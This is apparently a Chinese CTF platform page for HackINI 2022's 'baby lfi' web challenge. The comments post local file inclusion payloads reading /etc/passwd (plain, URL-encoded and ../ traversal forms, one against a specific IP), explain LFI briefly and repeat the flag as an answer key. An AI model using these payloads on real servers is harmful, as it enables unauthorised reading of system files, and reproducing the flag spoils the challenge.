baby lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一　　血: Aman
一血奖励: 0金币
解　　决: 3617
提　　示:
描　　述:
What about making things a bit harder ?
...
登录回复
评论
33555 1年前
举报

/?language=/etc/passwd shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1
daisy2413 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
小白帽来挖个漏洞 1年前
举报

题解：https://blog.csdn.net/guanrongl/article/details/142906680

回复 3
2MASS 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
MOCHAOLIN 1年前
举报

http://82.157.146.43:18383/?language=/etc/%70%61%73%73%77%64

回复 1
userxin 1年前
举报

?language=/../../../../../../etc/passwd

回复 0
Real丶WuMing 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
1005667204 2年前
举报

use the language parameter 使用language当参数 ?language=/etc/passwd

回复 0
YOLO77w 2年前
举报

Lfi是本地文件包含 在基本的LFI攻击中，我们可以使用（../）或简单地（/）从目录中直接读取文件的内容，../../../../敲的足够多就能跳转到根目录下../../../../etc/passwd 用到文件包含php伪协议 环境下有Please Select a language of your choice : en/fr ，参数名可能是language 可以在ip+?langu

回复 3
cat1 2年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1

WriteUp

image
2901600657

3 金币

立即查看

评分(4)

解题动态

Decay_念 攻破了该题 10小时前
何以书 攻破了该题 17小时前
wjzkifaa 攻破了该题 18小时前
13615049106 攻破了该题 1天前
黑色寂寞 攻破了该题 2天前
LEItt 攻破了该题 2天前
Thr0ne 攻破了该题 3天前
关你peace! 攻破了该题 3天前
胜天3号 攻破了该题 3天前
pakali 攻破了该题 3天前
ppppppppppp 攻破了该题 4天前
KDB 攻破了该题 4天前
hxwzh 攻破了该题 5天前
fyjfjk 攻破了该题 5天前
LiEasy 攻破了该题 5天前
W先森 攻破了该题 5天前
ggtom 攻破了该题 6天前
胰梅子子 攻破了该题 6天前
GlowSnow 攻破了该题 7天前
zhmiha 攻破了该题 7天前
问题反馈